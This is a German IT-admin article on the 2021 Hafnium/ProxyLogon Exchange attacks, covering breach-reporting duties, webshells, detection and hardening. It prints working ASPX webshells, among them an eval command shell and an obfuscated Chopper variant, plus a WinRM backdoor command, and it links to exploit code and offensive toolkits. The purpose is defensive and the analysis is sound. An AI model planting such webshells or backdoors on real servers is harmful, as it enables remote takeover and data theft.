Sie können natürlich Glück haben, dass sie nicht betroffen sind oder die Einbrecher noch nichts mitgenommen haben. Wenn Sie es aber nicht sicher wissen und die Täter bitten in einen Wochen um ein paar Bitcoins, dann ist die Meldefrist von 72 Stunden schon lange vorbei.
Als Administrator sollten Sie umgehend auch die Juristen und Geschäftsführung einbinden. Viele Firmen haben heute auch eine "Cyber-Versicherung", die aber oft nur greift, wenn Sie auch Strafanzeige bei der Polizei erstatten. Hier müssen sie die Versicherung mit einbinden.
Dann kann es aber passieren, dass die "Bereinigung" des Server schon wieder eine Veränderung des "Tatorts" bedeutet, der vielleicht noch gar nicht freigegeben ist. Hier lauern viele Fallstricke.
Wer einen betroffenen Server hat und bisher keine Meldung abgegeben hat, könnte je nach Land mit einem Bußgeld belegt werden.
Webshell und RemoteShell
Auf dieser Seite habe ich mehrfach den Begriff "Webshell" genannt, ohne die grundlegende Funktion zu beschreiben. Webserver liefert nicht nur statische Dateien aus, sondern können auch Seiten im Moment des Zugriffs "errechnen". Jede PHP-Seite ist ein gutes Beispiel dafür. Auf einem Exchange Server übernimmt der IIS diese Funktion und ASP bzw. neuer ASPX sind entsprechende Dateien. Die Übergabe von Parametern erfolgt meist als Teil der URL. Ich muss als auf ihrem Webserver eine Datei in der folgenden Form ablegen oder eine bestehende Datei um diese Funktion "erweitern:
<script runat="server"> protected void Page_Load(object sender, Eventargs e) { System.io.streamwriter sw = new System.io.streamwriter(Request.Form["fname",false, Encoding.Default); sw.write(Request.Form["fdata"]); sw.close(); } </script>
Diese Seite kann ich dann einfach per Browser aus der Ferne aufrufen um eine Datei "filename" mit dem Inhalt "Dateiinhalt" zu schreiben:
https://server.msxfaq.de/aspxuploader.aspx?fname=.\filename&fdata=Dateiinhalt
Interessanter ist aber gleich ein beliebiges Programm mit privilegierten Rechten zu starten. Das geht noch schnelle, wenn man den Code durch einen Exploit in eine Webseite eingeschmuggelt hat.
<script Language="JScript" runat="server" Debug=true> eval (Request["feldname"],"unsafe"); </script>
In dem Fall muss ich den auszuführenden Befehl als "feldname" übergeben.
https://server.msxfaq.de/aspxshell.aspx?feldname=cmd /c dir
Sie sehen schon, dass der Code sehr einfach zu verändern ist. Wenn die ASPX-Seite etwas aufwändiger ist, dann kann ich mehr Befehle direkt in die ASPX-Seite einbauen, die ich nur noch steuern muss. Über diesen Weg kann der Angreifer auch komplette PowerShell-Skripte "übertragen" und ausführen, Download von weiteren Tools ausführen und diese dann weiter ausführen. Eine Malware wird die ASPX-Seite aber sicher nicht so "lesbar" ablegen sondern "verstecken". Da gibt es ganz viele Optionen, angefangen von veränderten Variablennamen, aufgeteilten Strings und Parametern, die dann erst wieder zusammengesetzt werden, z..B.
Quelle https://www.trendmicro.com/en_us/research/21/a/targeted-attack-using-chopper-aspx-web-shell-exposed-via-managed.html <%@ Page Language="Jscript" Debug=true%> <% var a=System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String("UmVxdWVzdC5Gb3JtWyJjb21tYW5kIl0=")); var b=System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String("dW5zYWZl")); var c=eval(a,b); eval(c,b); %>
Die Schreibweisen sind endlos variierbar, so dass pattern-basierte Scans in der Regel diese Dateien nicht mehr entdecken.
Das ist aber erst der Anfang. Interessant wird es nun, wenn ich auf dem Server statt der ASPX-Datei ein Skripte zur Ausführung bringe, welches eine Verbindung zu meinem eigenen Server herstellt und auf Eingaben wartet. Auch dies gibt es als fertige Module z.B. als nishang (https://GitHub.com/samratashok/nishang/tree/master/Shells) und andere Tools samt Anleitung, wie diese Skripte "InMemory" ausgeführt werden können und damit einem normalen "dateibasierten" Virenscanner verborgen bleiben.
Als Angreifer muss ich dann nur einen Computer mit vom Zielsystem ansprechbarerer IP-Adresse bereitstellen und auf eingehende Verbindungen warten. Die remote-Shell startet und verbindet sich per TCP, HTTP, WMI, UDP u.a. Protokolle mit der Konsole des Angreifers.
WebShells sind optimal, um remote Code auszuführen, wen ich den Server z.B. per HTTP erreichen kann und keine URL-Inhalte geprüft werden. Sollte der Server auch ausgehend kommunizieren können, dann wird der Angreifer sehr schnell auf eine RemoteShell schwenken, weil Sie dann gar nicht mehr die Requests im IISLog sehen und auch der Timeout des Webservers sie nicht hindert.
- Exploit Sample Code (Python)
https://GitHub.com/vanhauser-thc/CVE-2021-26855/blob/main/PoC_proxyLogon.py - PoC_CVE-2021-28482.py
https://gist.GitHub.com/testanull/9ebbd6830f7a501e35e67f2fcaa57bda - samratashok/nishang
https://GitHub.com/samratashok/nishang/tree/master/Shells
Nishang is a framework and collection of scripts and payloads which enables usage of PowerShell for offensive security, penetration testing and red teaming. Nishang is useful during all phases of penetration testing. - PowerSploit (nicht mehr aktiv gepflegt)
https://GitHub.com/PowerShellMafia/PowerSploit/
"PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment." - webshell-samples
https://GitHub.com/ysrc/webshell-sample - JavaScript: eval()
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval - Cert-LV: Detect webshells dropped on
Microsoft Exchange servers after 0day
compromises
https://GitHub.com/cert-lv/exchange_webshell_detection - Tracking Microsoft Exchange Zero-Day
ProxyLogon and HAFNIUM
https://blog.truesec.com/2021/03/07/exchange-zero-day-proxylogon-and-hafnium/ - GitHub: Suche nach CVE-Beispielen
https://GitHub.com/search?q=CVE&type=repositories
Systeme weiter absichern
Software-Fehler eines Produkts können Sie nicht generell verhindern und wird es zukünftig immer geben. Aber zwischen einen Fehler finden und dann auch noch ausnutzen um eine weitere Aktion auszuüben liegen mehrere Stationen. Oftmals kommen beim Schadcode die gleichen Techniken zum Einsatz, die wir schon von anderen Vorgängen kennen. Insbesondere JavaScript für eine WebShell o.ä. werden gerne recycled und Microsoft hat mehrere "Kennzeichen" dazu publiziert:
Script/Exmann.A!dha Behavior:Win32/Exmann.A Backdoor:ASP/SecChecker.A Backdoor:JS/Webshell (not unique) Trojan:JS/Chopper!dha (not unique) Behavior:Win32/DumpLsass.A!attk (not unique) Backdoor:HTML/TwoFaceVar.B (not unique)
Es gibt also Skripte, aber auch ausführbaren Code oder ein "Verhalten". Wenn ein Prozess z.B. einen Dump des Process "LSASS" anfertigt um darin dann die Kennworte für weitere Konten zu finden, dann ist das ein sehr ungewöhnlicher Prozess. "Bessere" Virenscanner überwachen nicht nur den Zugriff auf Dateien hinsichtlich Viren und anderem Schadcode sondern beobachten auch das Verhalten von Prozessen und wo Sie schreiben und lesen. Insofern ist es auch nicht überraschend, dass Defender und Sentinel mittlerweile solche Erkennung bekommen haben.
- Netzwerk Firewall
Warum muss ein Exchange Server überhaupt beliebige Server über beliebige Ports erreichen können? Er muss nicht mal "überall hin" surfen können. Strenge "Netzwerk-Firewall"-Regeln und Proxy-Einstellungen sind wichtige Schutzmaßnahmen, auch wenn es mehr Pflegearbeit bedeutet. Aber wenn eine WebShell "nach Hause telefoniert", dann sollte das auffallen. - Code Signatur
Warum kann ein nicht autorisierter Prozess ausführbare Dateien irgendwo ablegen, wenn es nicht der Administrator oder Windows Updates ist? Könnte man auf Servern nicht "Codesignatur" vorschreiben, auch wenn die Administratoren dann ihre Powershell-Skripte auch signieren müssten.
Es bleibt natürlich ein Hase und Igel-Spiel aber wenn so ein Angriff bekannt wird und die AV-Hersteller den Schaden eingrenzen können, ist schon viel gewonnen. Solche Produkte könnten auch erkennen, wenn neue unbekannte Prozesse gestartet werden oder ausführbare Dateien in Verzeichnissen erscheinen, die eigentlich "statisch" sind und nur bei geplanten Updates oder Servicepacks beschrieben werden. Allerdings bin ich Realist genug, dass Sie nicht mit AppLocker auf dem Server arbeiten wollen. Aber eine Protokollierung von "Dateiveränderungen" in extern erreichbaren Pfaden oder kritischen Konfigurationseinstellungen wäre schon ein hilfreiches Produkt.
Natürlich können Sie auch anfangen, die Netzwerkübertragungen, IISLogs u.a. zu erfassen und damit ihre Server und Clients zu "profilieren". Größere Abweichungen sind dann zumindest ein Hinweis dort einmal genauer nachzuschauen. Ein 100% Schutz gibt es aber nie und es ist in kontinuierlicher Wettstreit.
- Hafnium Nachbereitung
- Sicherheit
- Endpoint Security
- LAPS - Local Admin Password Solution
-
AMSI - Antimalware Scan Interface
Über AMSI können Programme empfangene Daten einen Malwarescan unterziehen. Auch Exchange schützt sich damit. -
Reducing permissions required to run
Exchange Server when you use the Shared
Permissions Model
https://support.microsoft.com/en-us/topic/reducing-permissions-required-to-run-exchange-server-when-you-use-the-shared-permissions-model-e1972d47-d714-fd76-1fd5-7cdcb85408ed
Weniger Berechtigungen werden ab folgenden CUs angewendet: EX2019CU1, EX2016CU12, EX2013CU22 - Defending Exchange servers under attack
https://www.microsoft.com/security/blog/2020/06/24/defending-exchange-servers-under-attack/ - Threat and vulnerability management
https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/next-gen-threat-and-vuln-mgt - Concerning Trends Discovered During Several Critical Escalations
https://techcommunity.microsoft.com/t5/exchange-team-blog/concerning-trends-discovered-during-several-critical-escalations/ba-p/584486 - Security Scanner: Wie auch die Bösen
können auch die "Guten" nach Servern suchen
https://www.nextron-systems.com/2021/03/06/scan-for-Hafnium: Exploitation-evidence-with-thor-lite/
https://blueteamblog.com/microsoft-exchange-zero-days-mitigations-and-detections - Yara: Scanner
https://GitHub.com/VirusTotal/yara
https://www.heise.de/ratgeber/Malware-Signaturen-mit-Yara-selbst-schreiben-4286169.html
https://GitHub.com/Neo23x0/signature-base/blob/master/yara/apt_hafnium.yar
Feedback von Lesern
Bislang muss ich sagen, dass ich noch keinen Exchange Server betreut habe, der verdächtige Dateien aufgewiesen hat. Entweder war ich mit dem Patchen schneller oder die Angreifer haben aufgrund der Menge einfach noch keine Zeit gehabt, sich mit meinen Instanzen zu beschäftigen. Leider ist dies nicht der Regelfall und diverse Leser der MSXFAQ haben mir ihre Erfahrungen geschildert, die ich hier in Auszügen und ohne Quellenangabe wiedergebe.
...Ich habe auf einen Exchange 2013 zwei Webshells gefunden und sie wurden vom aktuellen AV nicht erkannt jedoch vom aktuellen Microsoft Safety Scanner (build 1.331.2674.0) und gleich entfernt. Ich habe den Exchange 2013 erst am 06.03.2021 gepatcht und da war es viel zu spät!!! ...
Der Microsoft Security Scanner hat u.a. entfernt:
Start 'remove' for file://\\?\C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Temporary ASP.NET Files\root\xxx\xxx\App_Web_djrsiry5.dll Operation was scheduled to be completed after next reboot. Start 'remove' for file://\\?\C:\inetpub\wwwroot\aspnet_client\supp0rt.aspx Start 'remove' for file://\\?\C:\inetpub\wwwroot\aspnet_client\sol.aspx For cleaning Backdoor:MSIL/Chopper.F!dha, the system needs to be restarted. Found Exploit:ASP/CVE-2021-27065.B!dha and Removed!
Die Erkennungsrate war laut Virustotal selbst am 8. März noch sehr gering. Gerade mal 5 von 59 Engines erkennen diese Webshell.
Es könnte aber auch sein, dass die Angreifer, die so einen "Schatz" haben, sehr viele leicht modifizierte WebShells zum Einsatz gebracht haben und es damit gar nicht die eine Schad-Komponente gibt.
Entgegen der zuerst eingesetzten ausgefeilten PowerShell-Payloads gibt es nun auch Angriffe mit einfachem CMD-Shells, die sehr veraltet wirken
Dieser Batch legt zwei temporäre BAT-Dateien ab, von denen eine erst einmal "nur" Informationen sammelt. Der "CHOICE"-Befehl als Verzögerung funktioniert mit den Parametern nicht auf meinem Testsystem. Weiter unten kommt dann PING als Verzögerung zum Einsatz. Statt eines "arp -a" hätte ich per PowerShell schon eher das Subnetz gescannt und einen LDAP-Export mitgenommen. Mir wirkt das eher wie zusammenkopiert oder Jahrzehnte als aber deswegen ist es nicht weniger gefährlich. Da die Lücke aber nun vielen Angreifern bekannt ist, werden wie es ganz unterschiedlichen Schadensmustern zu tun haben.
Hintertür WinRM
Diese Hintertür MUSS bei ihnen nicht vorhanden sein, aber sie KANN vorhanden sind. Danke an "Carsten E" für den Hinweis.
Interessant ist der Abschnitt mit WinRM, über den ein Listener auf Port 443 aktiviert wird. Auf einem Standard Server sieht das so aus
PS C:\> winrm enumerate winrm/config/listener Listener Address = * Transport = HTTP Port = 5985 Hostname Enabled = true URLPrefix = wsman CertificateThumbprint ListeningOn = 127.0.0.1, 192.168.13.16, ::1, fe80::5efe:192.168.13.16%14, fe80::b4db:e7c3:55c4:1d8c%12 PS C:\> winrm get winrm/config/service Service RootSDDL = O:NSG:BAD:P(A;;GA;;;BA)(A;;GR;;;IU)S:P(AU;FA;GA;;;WD)(AU;SA;GXGW;;;WD) MaxConcurrentOperations = 4294967295 MaxConcurrentOperationsPerUser = 1500 EnumerationTimeoutms = 240000 MaxConnections = 300 MaxPacketRetrievalTimeSeconds = 120 AllowUnencrypted = false Auth Basic = false Kerberos = true Negotiate = true Certificate = false CredSSP = false CbtHardeningLevel = Relaxed DefaultPorts HTTP = 5985 HTTPS = 5986 IPv4Filter = * IPv6Filter = * EnableCompatibilityHttpListener = false EnableCompatibilityHttpsListener = false CertificateThumbprint AllowRemoteAccess = true
Der Schadcode ändert das auf:
C:\>WinRM set winrm/config/service @{EnableCompatibilityHttpsListener = "true"}
Damit macht er WinRM auch über 443 erreichbar und quasi auch von extern. (Siehe drittletzte Zeile)
netsh http show servicestate Server session ID: FE00000520000003 Version: 1.0 State: Active Properties: Max bandwidth: 4294967295 Timeouts: Entity body timeout (secs): 120 Drain entity body timeout (secs): 120 Request queue timeout (secs): 120 Idle connection timeout (secs): 120 Header wait timeout (secs): 120 Minimum send rate (bytes/sec): 150 URL groups: URL group ID: FD00000540000001 State: Active Request queue name: Request queue is unnamed. Properties: Max bandwidth: inherited Max connections: inherited Timeouts: Timeout values inherited Number of registered URLs: 3 Registered URLs: HTTPS://+:443/WSMAN/ HTTP://+:5985/WSMAN/ HTTP://+:47001/WSMAN/
Wenn Sie vor ihrem Exchange Server keinen Reverse-Proxy mit URL-Filterung haben und damit den Zugriff auf "/WSMAN" unterbinden, dann ist ihr Exchange Server per WinRM weiterhin erreichbar. Der Angreifer hat so eine Hintertür, wenn er vorher die Credentials z.B. per SAM-Export oder LSASS-Dump gewinnen kann. Es reicht aber auch zu einer DoS-Attacke auf Kennworte. Sie können das von Extern einfach testen:
PS C:\>invoke-webrequest "https://<ihr-owa-server>/WSMAN" # kommt ein "404 not found" -Fehler, ist das OK # kommt ein "405 Method no allowed", dann ist die Hintertür vorhanden PS C:\>invoke-webrequest "https://<ihr-owa-server>/WSMAN" -method POST # kommt ein "404 not found" -Fehler, dann ist das OK # kommt ein "503 Service unavailable", dann ist das auch OK # kommt ein "401 unauthorized", dann ist die Hintertür vorhanden
Wenn WSMAN nicht aktiv ist, dann sehen sie den 404-Fehler im IISLog. Wenn WSMAN aktiv ist, dann wird NICHTS vom IIS protokolliert, da "http.sys" den Request schon umleitet.
Abschalten ist einfach möglich:
WinRM set winrm/config/service @{EnableCompatibilityHttpsListener = "false"}
- WinRM - Windows Remote Management.
-
Installation and configuration for Windows
Remote Management
https://docs.microsoft.com/en-us/windows/win32/winrm/installation-and-configuration-for-windows-remote-management
Dieses Skript zeigt aber auch, dass eine Malware ein Skript irgendwo hinterlegen und per Taskplaner weit in der Zukunft ausführen lassen.
Weitere Payloads
Die Angreifer belassen es aber nicht bei bekannten Malware-Programmen. Von anderen Lesern der MSXFAQ bekam ich am 20. März, also 18 Tage später) die Information, dass Angreifer auch ausführbare Programme auf Domain Controllern abgelegt haben und diese von installierten Virenscannern eher schlecht erkannt wurden.
Sie sollten also immer noch davon ausgehen, dass so eine offene Tür von immer mehr Angreifern genutzt wird, die ihre Malware immer wieder leicht ändern um zumindest einige Tage den Virenscanner zu überlisten.
Das soll nicht bedeuten, dass Virenscanner unwirksam sind. Sie können aber nur "bekannte" Malware erkennen. Eine "Verhaltenskontrolle" scheint immer noch mehr Marketing zu sein. Es wäre doch so einfach zumindest auf Servern aber auch Workstations die Ablage von ausführbarem Code mit einer Rückfrage zu versehen. Quasi "EXE Account Control" analog zu "User Account Control".
Weitere Leser haben mir berichtet, dass nun auch "WMI-Backdoor" bei Kunden gefunden wurden
- WMI Backdoor
https://GitHub.com/mattifestation/WMI_Backdoor
Ein Proof of Concept der Black hat 2015, der natürlich auch von den Angreifern gerne verwendet wird.
Der Download und Auspacken der PS1-Datei wurde von Windows Defender nicht blockiert
Eine andere Payload ist der Code von "CobaldStrike" Eigentlich ist dies ein Framework, um Sicherheitslücken zu erkennen aber es enthält auch einen Agenten, der auch missbraucht werden kann. Der Source Code wurde wohl im Nov 2020 geleaked.
- Alleged source code of Cobalt Strike
toolkit shared online
https://www.bleepingcomputer.com/news/security/alleged-source-code-of-cobalt-strike-toolkit-shared-online/ - Cobalt Strike (kommerziell)
https://cobaltstrike.com/
https://de.wikipedia.org/wiki/Cobalt_Strike
Entsprechend gibt es Regeln zur Erkennnung für Yara und Thor Lite
- Detecting Cobalt Strike with memory
signatures
https://www.elastic.co/de/blog/detecting-cobalt-strike-with-memory-signatures - Defences against Cobalt Strike
https://GitHub.com/MichaelKoczwara/Awesome-CobaltStrike-Defence/blob/main/README.md
Auch die "Miner" wurden besser. Anstatt mit hoher und damit auffälliger CPU-Last nach Bitcoins zu schürfen, scheinen nun eher Monereo-Minder mit niedriger CPU-Priorität eingesetzt zu werden, damit sie nicht so schnell bemerkt werden.
Sie sollten ab und an die Prozesse auf ihrem Exchange Server und die ausgehenden Verbindungen überprüfen. Siehe auch Hafnium Nachbereitung
Weitere Quellen
Microsoft, als auch die Entdecker der Lücke haben umfangreiche Hintergrundartikel beschrieben.
- Microsoft Exchange Server Vulnerabilities Mitigations – updated March 6,
2021
https://msrc-blog.microsoft.com/2021/03/05/microsoft-exchange-server-vulnerabilities-mitigations-march-2021/ - One-Click Microsoft Exchange On-Premises Mitigation Tool – March 2021
https://msrc-blog.microsoft.com/2021/03/15/one-click-microsoft-exchange-On-Premises-mitigation-tool-march-2021/ - Released: March 2021 Exchange Server Security Updates
https://techcommunity.microsoft.com/t5/exchange-team-blog/released-march-2021-exchange-server-security-updates/ba-p/2175901 - HAFNIUM targeting Exchange Servers with 0-day exploits
https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/ - March 2021 Exchange Server Security Updates for older Cumulative Updates of
Exchange Server
https://techcommunity.microsoft.com/t5/exchange-team-blog/march-2021-exchange-server-security-updates-for-older-cumulative/ba-p/2192020#comment-on-this - ProxyLogon
https://proxylogon.com/
https://proxylogon.com/#timeline
Video https://www.youtube.com/watch?v=SvjGMo9aMwE&t=57s - HAFNIUM Exchange Server 0-Day Exploits
https://www.youtube.com/watch?v=X2xlOLe6ye8 - MSRCBlog
https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server - CVE-Links
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27078
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27065
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26858
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26857
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26854
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26412 - New nation-state cyberattacks
https://blogs.microsoft.com/on-the-issues/2021/03/02/new-nation-state-cyberattacks/ - Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day
Microsoft Exchange Vulnerabilities
https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/
Weitere Links
- Hafnium Nachbereitung
- Exchange 2016 Update Checkliste
- Exchange direktes Update
- Exchange und Outlook Build Nummern
- Updates für Exchange 2010
- Updates für Exchange 2013
- Updates für Exchange 2016
- Updates für Exchange 2019
- Sicherheit
- Exchange Build Nummer ermitteln
- KRBTGT Key Rollover
- Pwn2Own 2021
- Print Nightmare
- Firmen werden gehackt
- Ransomware - Fiktive Story
- Log4Shell
-
Microsoft EMEA Exchange Out of Band Webcast
(9. März 2021)
Aufzeichnung: https://webcastdiag864.blob.core.windows.net/2021webcastrecordings/Exchange%20Server%20OOB%20Release%20Webcast%20March%202021.mp4
Folien https://aka.ms/ExOOB - ProxyLogon - Orange Tsai
https://proxylogon.com/
https://proxylogon.com/#timeline
Video https://www.youtube.com/watch?v=SvjGMo9aMwE&t=57s
A New Attack Surface on MS Exchange
Part 1 - ProxyLogon! https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html
Part 2 - ProxyOracle! https://blog.orange.tw/2021/08/proxyoracle-a-new-attack-surface-on-ms-exchange-part-2.html
Part 3 - ProxyShell! https://blog.orange.tw/2021/08/proxyshell-a-new-attack-surface-on-ms-exchange-part-3.html
Part 4 - ProxyRelay! https://blog.orange.tw/2022/10/proxyrelay-a-new-attack-surface-on-ms-exchange-part-4.html - CVE Details: Microsoft: Vulnerability
Statistics
https://www.cvedetails.com/vendor/26/Microsoft.html - Proxy-Attackchain - proxylogon,
proxyshell, proxyoracle, proxytoken,
CVE-2021-42321 Deserialization RCE full
chain exploit tool
https://GitHub.com/FDlucifer/Proxy-Attackchain - Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day
Microsoft Exchange Vulnerabilities
https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/ - Concerning Trends Discovered During Several Critical Escalations
https://techcommunity.microsoft.com/t5/exchange-team-blog/concerning-trends-discovered-during-several-critical-escalations/ba-p/584486 - Selbst gehostete Exchange-Server:
Zero-Day-Angriffe möglich
https://www.netatwork.de/selbst-gehostete-exchange-server-zero-day-angriffe/ - Security Update Exchange 2010-2019 (Mar2021)
https://eightwone.com/2021/03/02/security-update-exchange-2010-2019-mar2021/ - Wichtige Hinweise Microsofts und des BSI zum
Exchange-Server Sicherheitsupdate (März
2021)
https://www.borncity.com/blog/2021/03/06/wichtige-hinweise-microsofts-und-des-bsi-zum-exchange-server-sicherheitsupdate-mrz-2021/ - BSI warnt: Kritische Schwachstellen
in Exchange-Servern
https://www.bsi.bund.de/DE/Service-Navi/Presse/Pressemitteilungen/Presse2021/210305_Exchange-Schwachstelle.html - At Least 30,000 U.S. Organizations Newly
Hacked Via Holes in Microsoft’s Email
Software
https://krebsonsecurity.com/2021/03/at-least-30000-u-s-organizations-newly-hacked-via-holes-in-microsofts-email-software/ - Cyber-attack on the European Banking
Authority
https://www.eba.europa.eu/cyber-attack-european-banking-authority - Attack on Exchange Servers Gives Impetus to Move Email to the Cloud
https://practical365.com/blog/attack-exchange-impetus-move-cloud/ - Exchange-Lücken: BSI ruft "IT-Bedrohungslage rot" aus
https://www.heise.de/news/Exchange-Luecken-BSI-ruft-IT-Bedrohungslage-rot-aus-5075457.html - Der Hafnium Exchange-Server-Hack:
Anatomie einer Katastrophe
https://www.heise.de/news/Der-Hafnium: Exchange-Server-Hack-Anatomie-einer-Katastrophe-5077269.html - Exchange-Hack: Welche Maßnahmen
Unternehmen jetzt ergreifen müssen
https://www.heise.de/news/Exchange-Hack-Welche-Massnahmen-Unternehmen-jetzt-ergreifen-muessen-5537050.html - Sechs Bundesbehörden von E-Mail-Schwachstellen betroffen
https://www.spiegel.de/netzwelt/web/sechs-bundesbehoerden-von-e-mail-schwachstellen-betroffen-a-d2cee819-e6c2-4d31-8166-9cd5cbe3f9b0 - Bedrohungslage Rot: die Fakten zum Hacker-Angriff auf deutsche Behörden
https://www.berliner-zeitung.de/zukunft-technologie/fakten-zum-hacker-angriff-auf-deutsche-behoerden-microsoft-datenleck-li.144949 - Neues zum Exchange-Hack – Testtools von
Microsoft & Co.
https://www.borncity.com/blog/2021/03/07/neues-zum-exchange-hack-testtools-von-microsoft-co/ - Pause Patch Tuesday updates, watch out
for Exchange server attacks
https://www.computerworld.com/article/3610703/pause-patch-tuesday-updates-watch-out-for-exchange-server-attacks.html - Liste der qualifizierten Advanced
Persistent Threat
(APT)-Response-Dienstleister
https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Cyber-Sicherheit/Themen/Dienstleister_APT-Response-Liste.pdf
https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Cyber-Sicherheit/Themen/Dienstleister_APT-Response-Liste.pdf?__blob=publicationFile&v=5 - Attacking MS Exchange Web Interfaces
https://swarm.ptsecurity.com/attacking-ms-exchange-web-interfaces/ - Verwundbare Exchange-Server der
öffentlichen Verwaltung
https://www.heise.de/news/Verwundbare-Exchange-Server-der-oeffentlichen-Verwaltung-6320504.html